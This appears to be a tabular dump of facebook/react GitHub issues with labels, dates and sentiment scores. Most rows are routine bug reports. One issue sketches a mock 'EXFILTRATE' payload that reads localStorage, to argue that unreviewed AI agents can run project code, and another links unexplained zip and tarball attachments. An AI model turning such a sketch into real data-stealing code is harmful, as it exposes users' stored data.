<img width=""1037"" height=""469"" alt=""Image"" src=""https://github.com/user-attachments/assets/28d92c84-2873-46c8-a3b7-c397455fe9f4"" />

React version:
19.2.3

## The current behavior
When trying to read properties of the object to show the diff in log, it breaks it.

## The expected behavior
Should work.

I am not sure if this is to be fixed on React side or TRPC, but it worked in previous versions of React.","Status: Unconfirmed,Resolution: Stale",2026-01-29 12:23:54+00:00,2026-05-12 11:40:11+00:00,5,"Status: Unconfirmed,Resolution: Stale",102.9696,react logcomponentrender breaks existing functionalities that utilise proxy trpc client react version the current behavior when trying to read properties of the object to show the diff in log it breaks it the should work i am not sure if this is to be fixed on react side or trpc but it worked in previous versions of react,bug,-0.1232
facebook/react,3868583410,Bug: Anchor tags do not support autoFocus,"Hi team!

React currently doesn't support the `autoFocus` prop for anchor tags. This issue has been raised before, however it was automatically marked as `Stale` and closed: https://github.com/facebook/react/issues/26603

My opinion matches that of the above ticket author: `autofocus` is a [global attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/autofocus) and should work for anchor tags just like it does for buttons, text inputs, etc. It sounds like this was discussed several years ago (https://github.com/facebook/react/issues/11851#issuecomment-351672131), however browser support for the `autoFocus` attribute has greatly matured since 2017. I'm not sure modern browsers even need the current polyfill behaviour?

React version: 18.2.0 (Same behaviour in `main`)

## Steps To Reproduce

1. Add an `a` tag with a `href` value and `autoFocus`.
2. Observe as the anchor tag is not autofocused on page load.

Link to code example: https://codesandbox.io/p/sandbox/strange-ritchie-wc94dy

<!--
  Please provide a `[Sandbox](https://codesandbox.io/p/sandbox/strange-ritchie-wc94dy)[Sandbox],` a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior

Anchor tags do not receive focus on page load if the `... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2026-01-29 03:29:03+00:00,2026-05-11 05:23:26+00:00,6,"Status: Unconfirmed,Resolution: Stale",102.0794,anchor tags do not support autofocus hi team react currently doesn t support the prop for anchor tags this issue has been raised before however it was automatically marked as and closed my opinion matches that of the above ticket author is a global attribute and should work for anchor tags just like it does for buttons text inputs etc it sounds like this was discussed several years ago however browser support for the attribute has greatly matured since i m not sure modern browsers even need the current polyfill behaviour react version same behaviour in add an tag with a value and observe as the anchor tag is not autofocused on page load link to code example please provide a a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior anchor tags do not receive focus on page load if the truncated,bug,-0.577
facebook/react,3868581850,Bug: ,"Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2.4 (January 26th, 2026)

## Steps To Reproduce

This is not a rendering glitch, but a broken assumption in the React ecosystem when it is driven by AI agents instead of humans.

Today, tools like Clawdbot / Moltbot (and many internal AI agents) can:

- read and write source files in a repo,
- run scripts like `npm run dev` / `npm run build`,
- and push changes to CI without a human understanding the semantic intent.

React tooling still assumes “the thing running the scripts is a responsible human developer”.

Here is a minimal reproduction that simulates what an AI agent is allowed to do **today** with a standard React project.

1. Create a fresh React app (any official template, or Vite + React). For example:

   ```bash
   npx create-react-app ai-agent-test
   cd ai-agent-test

2. Replace src/App.js with this file:

// src/App.js
import React from ""react"";

export function DangerousWidget() {
  // This is intentionally silly, but represents an unsafe action
  // that a human would normally review.
  const payload = {
    type: ""EXFILTRATE"",
    fields: [""localStorage"", ""navigator.userAgent""],
  };

  // In a real system this could be a fetch() to an internal API,
  // a logging endpoint, or some other side-effect.
  console.log(""[D... [TRUNCATED]",Status: Unconfirmed,2026-01-29 03:28:25+00:00,2026-02-02 18:35:43+00:00,2,Status: Unconfirmed,4.6301,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version january th this is not a rendering glitch but a broken assumption in the react ecosystem when it is driven by ai agents instead of humans today tools like clawdbot moltbot and many internal ai agents can read and write source files in a repo run scripts like and push changes to ci without a human understanding the semantic intent react tooling still assumes the thing running the scripts is a responsible human developer here is a that simulates what an ai agent is allowed to do today with a standard react project create a fresh react app any official template or vite react for example bash npx create react app ai agent test cd ai agent test replace src app js with this file src app js import react from react export function dangerouswidget this is intentionally silly but represents an unsafe action that a human would normally review const payload type exfiltrate fields localstorage navigator useragent in a real system this could be a fetch to an internal api a logging endpoint or some other side effect console log d truncated,bug,0.9186
facebook/react,3866039081,ReactPerformanceTrackProperties/addValueToProperties fails to handle cursors (fn + proxy),"`ReactPerformanceTrackProperties`'s `logComponentRender` calls `addValueToProperties`. If one of the props is a function, it's formatted with:

```
    case 'function':
      if (value.name === '') {
        desc = '() => {}';
      } else {
        desc = value.name + '() {}';
      }
```
([https://github.com/facebook/react/blob/87ae75b33f71eb673c55ddb3a147a9e58b7d05bd/packages/shared/ReactPerformanceTrackProperties.js#L259](source))

If this function is a cursor `Proxy(fn)` whose `name` returns another cursor, the concatenation with `() {}` fails with:
```
Uncaught TypeError: Cannot convert object to primitive value
```

Here's how to produce such a value:
```
{
  const x = [];

  const cursor = () => {
    return new Proxy(() => x, { get() { return cursor(); }});
  };

  cursor().name + ""() {}""
}
``` 
",,2026-01-28 15:35:53+00:00,2026-01-29 17:32:20+00:00,0,nan,1.0809,reactperformancetrackproperties addvaluetoproperties fails to handle cursors fn proxy s calls if one of the props is a function it s formatted with if this function is a cursor whose returns another cursor the concatenation with fails with here s how to produce such a value,others,-0.4939
facebook/react,3865863734,Bug: Expected a suspended thenable,"⨯ Error: Expected a suspended thenable. This is a bug in React. Please file an issue.
    at ignore-listed frames {
  digest: '2559929398'
}


""react"": ""19.2.1"",
""next version"": ""16.1.6"",

repo:https://github.com/shubhamtak007/coinova

When routes changes above error came and whole page stop working.Basically when going to particular coin page from server side list.","Status: Unconfirmed,Resolution: Stale",2026-01-28 14:58:58+00:00,2026-05-05 16:36:32+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.0678,expected a suspended thenable error expected a suspended thenable this is a bug in react please file an issue at ignore listed frames digest react next version repo when routes changes above error came and whole page stop working basically when going to particular coin page from server side list,bug,-0.9485
facebook/react,3864027287,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-01-28 07:35:51+00:00,2026-01-28 09:35:14+00:00,0,Status: Unconfirmed,0.0829,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3860077718,Test Issue from Deep Hunt,Testing security research,,2026-01-27 11:14:45+00:00,2026-02-04 01:44:16+00:00,0,nan,7.6038,test issue from deep hunt testing security research,bug,0.34
facebook/react,3857545961,Bug: React DOM canary has an incorrect dependency on Scheduler,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: Canary

## Steps To Reproduce

1. install react-dom canary
2. no such scheduler version

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:
You can see it in the package.json, just search for that canary version in the published packages
https://www.npmjs.com/package/react-dom/v/19.3.0-canary-10680271-20260126?activeTab=code
https://www.npmjs.com/package/scheduler?activeTab=versions

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
","Status: Unconfirmed,Resolution: Stale",2026-01-26 20:30:35+00:00,2026-04-26 23:31:52+00:00,4,"Status: Unconfirmed,Resolution: Stale",90.1259,react dom canary has an incorrect dependency on scheduler of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version canary install react dom canary no such scheduler version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example you can see it in the package json just search for that canary version in the published packages please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7906
facebook/react,3857312043,[Compiler Bug]: some spaghetti code gives me Todo: PruneHoistedContexts,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAHRFMCAEcA2AlggHYAuGA3GiYQLYAOEMZOweMCAhmQgMIRyCAB5kANDjIBPBrgBifCdNk4AStzhkAchAAmCCVgQBlMj1wBfHADMYEOjgycumqjRqEhMay9zGSLgDWAkKibO5kcIK85Mg4YGQwngDm1CRoZBCyJHEARhAQ+NwkaRkEENgAKvQI0GRx6mSwJJUyCAA8yrXW8Qhk1XS1UGQAfGkW7uRtOADy2f5BuVwwciQ4ALw4ABRRQrHxiSkAlBsjOABuEIS6pSS7CTgLcIFLMCG8YZtwzrzvIqztWbzALPV6rHAAHxwJCg+HwODOWxhcKOtxETBYeEEDyeL2Wf1EAAU7OdrggYHEFO12HAABaEfC6Tg5NQabR6SxnTZbGn0xnMnAWE7rM7ACL3VgAbXOXHwUAMvTIADVZfKALobHBGUzmHCA3EE1hQqAkfTWTwIXQI7Yms0W3SoyZlbGsLKkXGvOJzd0gvErNbc3YxeoHJIkZJHOKXa6ncLpChkbDK1UIHkRDLOvbidMJt0sxLysQ5sr4CoIAZDENJit1LZbYWi4sJ8rYD3LeulBMZCwSABsAAZB0ci-Hu474xZbhlrCbNIRBHhS63fa961GrlaxaPE30VXLU1sGJxzg24xmE4QelsAIRHhAns9dhOcJowNZ386d88Tbcl7gwGthkPY8ADoW3LGo6nHc8MhfZo2BwECkI-CQ8ziHx8GwQUvzIIUpwTatIKA+tYy3GCd2TfctltBBzRIS1oITHscAAJiHTsfwiOC322HN2jbN5on+EDiQgUl9BgC4U3WYA8wEiwRibYA6QZJlSE4p92lyYZMnSX8Ey6dYMG0shdIwJsMkEPgiGeGSSJFR9yJLMsBI7CzcI089FP0jJgBlfcAH4wKE8hPITdoAHoTN07zz0igTDREkkyRgWKyHHScaBAMQQF2c1khQEB6AxVgugQwk5WSTw5jIecSDAQUbDsBwAHIllyBB8AAWgYSrPC65xNC6qJGAZckIt0QgEha240zWHAIoikaGAZHg6oAWQ... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-01-26 19:19:55+00:00,2026-01-26 21:36:30+00:00,2,"Type: Bug,Status: Unconfirmed",0.0948,compiler bug some spaghetti code gives me todo prunehoistedcontexts what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro truncated,bug,-0.1027
facebook/react,3855625751,"Bug: ERROR: [facebook] 1831647914181952: Cannot parse data; please report this issue on  https://github.com/yt-dlp/yt-dlp/issues?q= , filling out the appropriate issue template. Confirm you are on the latest version using  yt-dlp -U","<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-01-26 11:45:47+00:00,2026-01-26 12:27:20+00:00,1,Status: Unconfirmed,0.0289,error facebook cannot parse data please report this issue on filling out the appropriate issue template confirm you are on the latest version using yt dlp u of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.9459
facebook/react,3854583791,Bug: [React Compiler] False positive 'Cannot access refs during render' when accessing props.ref,"Description: The React Compiler currently throws a validation error ""Cannot access refs during render"" when accessing props.ref.current, even in cases where props.ref is simply a prop (e.g. passed from a parent) and not necessarily a React Ref object that is being mutated or unsafe to read. The compiler's aliasing logic appears to treat the entire props object as a ref in this scenario.

React version: 0.0.0-experimental-334f00b-20240725 (React Compiler version)

Steps To Reproduce:

Create a component that accepts a ref prop (or a prop named ref).
Access props.ref.current inside the render body.
Run the React Compiler/Follow the validation rules.
Link to code example:

javascript
// @validateRefAccessDuringRender @compilationMode:""infer""
function Component(props) {
  // This triggers a validation error but should be allowed
  const value = props.ref.current;
  return <div>{value}</div>;
}
The current behavior The compiler throws an error:

Error: Cannot access refs during render
...
> 3 |   const value = props.ref.current;
The expected behavior The compiler should compile this component successfully without throwing a validation error, as reading a prop named ref (that was passed down) is a valid pattern and not explicitly an unsafe ref access during render.
",Status: Unconfirmed,2026-01-26 05:38:46+00:00,2026-01-26 17:33:41+00:00,1,Status: Unconfirmed,0.4965,react compiler false positive cannot access refs during render when accessing props ref description the react compiler currently throws a validation error cannot access refs during render when accessing props ref current even in cases where props ref is simply a prop e g passed from a parent and not necessarily a react ref object that is being mutated or unsafe to read the compiler s aliasing logic appears to treat the entire props object as a ref in this scenario react version experimental f b react compiler version create a component that accepts a ref prop or a prop named ref access props ref current inside the render body run the react compiler follow the validation rules link to code example javascript validaterefaccessduringrender compilationmode infer function component props this triggers a validation error but should be allowed const value props ref current return value the current behavior the compiler throws an error error cannot access refs during render const value props ref current the the compiler should compile this component successfully without throwing a validation error as reading a prop named ref that was passed down is a valid pattern and not explicitly an unsafe ref access during render,bug,0.4497
facebook/react,3853271331,[Compiler Bug]: useRef<HTMLFormElement | null> - Error: This value cannot be modified,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAYrhgMoIwBudASgmFADaEC+BAZjBAwEAOiAB0AelIIAtLyoyyDOjJisOeUQG5hAOz0IAHjnwE8ATywICAVTKUYGAPJY8aCLrAEAvET0ECNV4AUXYHDGQCFgBDODwxFl4nACMAKwQ4gB4ACQAVAFkAGXDQhAwEXUIAHwJdDnYAPh1dLmaDY1xCXihdOPddEnsqAApgf0CEELCqABo9Lki7CioXNw8wTNyALQgAE2o4AAsy6IaASj8Bgjh1wgBtJUYYFjZOGYIyPFplZ-VOAF0fINlo5vk8XhphmdmgFxjdPIQIE8AO4wNB4EEYABq0XYUFYQOG8kcOLxrAu3galwCATQvAIwwAhEFQuExHBYGpKhc1HhYLoYTT4WBCAhpo4gSzxRh2ZyKng2lcAsSGcLCABrBDmAhoAbE7G4-FgC5jJU0ukMzXa3UEMXhE3jGk0u1UO5W-5ieiG6y+fWko1urX-QVOriOghhq6tPQxq68-nUmmPZh-PBzM2fMEp15p8NIuio9GY-2sdMBaMtEAzEDw3hoADmKHQ2E6Zks1mIAAU8fXdat+l4ePxBAQAOTJaLJMUyLA93WqBCxPAyG7YNDsOgSXZoEWjxWjcYSCSrrDr6JrXT5PYISKiXHsUTzD7nnd1gndqC93T99bQqvgQ4IGRABJSo6F0XEwBQPAYHxLggA

### Repro steps

Look the playground


**NOTE**: even if the error is triggered for line `18` (body of the `overrideFormValues`) , removing line `10` make the compiler happy. It's weird for me.

---

Code
```ts
import { useFormServerResult } from ""./use-form-server-result"";

export type UseFormOptions = {
  refElForm: React.RefO... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-01-25 13:42:21+00:00,2026-01-26 05:10:04+00:00,4,"Type: Bug,Status: Unconfirmed",0.6442,compiler bug useref error this value cannot be modified what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps look the playground note even if the error is triggered for line body of the removing line make the compiler happy it s weird for me code ts import useformserverresult from use form server result export type useformoptions refelform react refo truncated,bug,-0.1655
facebook/react,3848604486,[Compiler Bug]: Expected memoization doesn't happen if multiple factors come into play,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://github.com/JonasDoe/FailingReactCompiler

### Repro steps

When I combine optional chaining with a `try/catch` pattern, `doSomething ` isn't stable anymore and the `useEffect`  callback (hence: the logging) is invoked multiple times.

```tsx
export const MinimalFailingCase: React.FC = () => {
  const [count, setCount] = useState(0);
  const { doSomething } = useMinimalFailing();

  useEffect(() => {
    console.log('[MinimalFailing] Effect ran - doSomething changed'); // this is logged on every button click
  }, [doSomething]);

  return (
      <p>Count: {count}</p>
      <button onClick={() => setCount(c => c + 1)}>Increment</button>
  );
};

const useClient= ()=> {
    const [client] = useState({ doThing: async () => 'result' });
    return client;
}

const useMinimalFailing =()=> {
    const client = useClient();
    const doSomething = async () => {
        try {
            // ❌ Optional chaining - compiler doesn't memoize
            const result = await client?.doThing();
            return { type: 'ok' as const, result };
        } catch {
          ... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-01-23 18:14:29+00:00,2026-01-23 18:23:46+00:00,1,"Type: Bug,Status: Unconfirmed",0.0064,compiler bug expected memoization doesn t happen if multiple factors come into play what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps when i combine optional chaining with a pattern isn t stable anymore and the callback hence the logging is invoked multiple times tsx export const minimalfailingcase react fc const count setcount usestate const dosomething useminimalfailing useeffect console log minimalfailing effect ran dosomething changed this is logged on every button click dosomething return count count setcount c c increment const useclient const client usestate dothing async result return client const useminimalfailing const client useclient const dosomething async try optional chaining compiler doesn t memoize const result await client dothing return type ok as const result catch truncated,bug,0.765
facebook/react,3845012882,[Compiler Bug]: (BuildHIR::lowerStatement) Support ThrowStatement inside of try/catch,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwBUyAjACgEp8wADpt8cVmAKEyuMvgC8+ANoBdEfnxkwATwb5aDZq3wBzBLgAKMCCSaUE-Qeo35cMbU9EuXTEvh4IMNYwAsJe3i64ABbWAO74gcEA3M4R+AC+qRliMnBR-ok4oVka4nSQ9gB0lBAmAUFFWZmizSLOMOawbDxZADwAfCXsCJJ9APSDonwpdM0gADQgZbYmKCBMALbYeK7amAiC+BaUUCZMdADymEbl2STWG-gA5FzcCJQAtJgnZ3QfHWRGB9xFs7IExoQmJInjMRDwwhoxmMQZg7DIWHQALIQYjIfBCEBkSiUAkidL4MDosC2EZHH7nK43MDTBbgKIQWIASTouECdCJYBQ5EoYAQ6SAA

### Repro steps

1. go to the playground
2. use the next code:
```ts
export default function Tab() {
  const data = []
  async function getProfile() {
    try {
        if (error) {
          throw error;
        }
    } catch (error) {
      console.log(error)
    }
  }


  return (
    <>
     Test
    </>
  );
}

```

you will see the error 

### How often does this bug happen?

Every time

### What version of React are you using?

latest

### What version of React Compiler are you using?

latest","Type: Bug,Status: Unconfirmed",2026-01-22 22:35:53+00:00,2026-02-10 16:34:26+00:00,9,"Type: Bug,Status: Unconfirmed",18.749,compiler bug buildhir lowerstatement support throwstatement inside of try catch what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization x babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps go to the playground use the next code you will see the error how often does this bug happen every time what version of react are you using latest what version of react compiler are you using latest,bug,-0.5719
facebook/react,3844338575,[Compiler Bug]: Optional chaining not working with async try/catch function inside useEffect,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAHQHacwgHgBwhgBcACAEwQDMBDKAGzKqgzmIEsINSAVGgIwAUASlLBs3UlDAIAolSoI2gkaQC8APjETSu0jTABPVqWasOXUwmJwAFgBEaxGqvGS9pYjEPb3H0nBcYGTkTjTqpADaALoA3Jj+eoEYwRRhAEwRoc4A-AB0VESyNHaC7MQIALbqWsmQ9Ah59BAA5sLxfroAvgFOdqSCCDAwRKJuibp1EA15QyMwggDkssNEVja27BgtpI7OyIsANKRzox2JXQl6l1i3Hoobey7tV13HMS+3VzDWsNyCV10AB4NIDSECAPSgu6kT43ECHEDJKjsFooEDsSqEEieQz4BBiUgABXoUBaWwA8vgLClSD0qCNqot+AIEPQALT4UnkjDsn4lYjswJY9gNGAQ8jsYKLDqYQTjUgQiHC-CipycDAAWQglGQpDQIBo9HoBswPTA6rAKIQYGJ3Mp1I1YHaCPAtggAHcAJIYCowDBGsAoWj0GRdIA

### Repro steps

Using the next code reproduce the issue: 

```ts



export default function Tab() {

  useEffect(() => {

    async function fetchData() {
      try {
        const data = [];
        const data2 = data?.forEach(item => console.log);
      } catch (error) {
        console.error('Error fetching Data:', error);
      }
    }


    fetchData();
  }, []);


  return (
    <>
    </>

  );
}

```


### How often does this bug happen?

Every time

### What version of React are you using?

Latest version

### What versio... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-01-22 19:06:42+00:00,2026-02-04 03:26:09+00:00,3,"Type: Bug,Status: Unconfirmed",12.3468,compiler bug optional chaining not working with async try catch function inside useeffect what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization x babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps using the next code reproduce the issue how often does this bug happen every time what version of react are you using latest version what versio truncated,bug,-0.5267
facebook/react,3837983098,[DevTools Bug]:,"### Website or app

GitHubRepo/Code Sanbox

### Repro steps




![Image](https://github.com/user-attachments/assets/2e1c23ff-8a27-49dc-b0a7-cf59ffe7e823)

[capstone-LICENSE.txt](https://github.com/user-attachments/files/24765831/capstone-LICENSE.txt)
[LICENSE.txt](https://github.com/user-attachments/files/24765832/LICENSE.txt)

[yarapython-LICENSE.txt](https://github.com/user-attachments/files/24765838/yarapython-LICENSE.txt)

[SourceCode.zip](https://github.com/user-attachments/files/24765843/SourceCode.zip)

//github.com/user-attachments/files/24765783/pgbouncer-1.25.1.tar.gz)

### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text

```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text

```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2026-01-21 12:15:22+00:00,2026-01-21 12:28:58+00:00,0,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",0.0094,devtools bug website or app githubrepo code sanbox repro steps image capstone license txt license txt yarapython license txt sourcecode zip github com user attachments files pgbouncer tar gz how often does this bug happen every time devtools package automated no response devtools version automated no response error message automated no response error call stack automated error component stack automated github query string automated,bug,-0.9552
facebook/react,3837909126,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-01-21 11:57:29+00:00,2026-01-21 17:23:41+00:00,0,Status: Unconfirmed,0.2265,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3837908783,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-01-21 11:57:23+00:00,2026-01-21 17:24:05+00:00,0,Status: Unconfirmed,0.2269,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3837908194,Bug:renove,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-01-21 11:57:14+00:00,2026-01-21 15:38:36+00:00,0,Status: Unconfirmed,0.1537,renove of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3835161503,Bug: The ESLint react-hooks/refs rule marks the entire object with the ref property as a ref object,"eslint-plugin-react-hooks version: 7.0.1

## Steps To Reproduce

```tsx
const Test = props => {
    return (
        <div>
            <button ref={props.buttonRef}>
                {props.text}
            </button>
        </div>
    );
};
```

## The current behavior
The rule warns in both props `props.buttonRef` and `props.text`

## The expected behavior
Errors in the rules are not expected.

This can be easily fixed as follows:
```tsx
const Test = props => {
    const { buttonRef } = props;

    return (
        <div>
            <button ref={buttonRef}>
                {props.text}
            </button>
        </div>
    );
};
```

Simple logic tells me that the destructuring of variables should be equivalent to the direct use of prop in terms of rule errors.
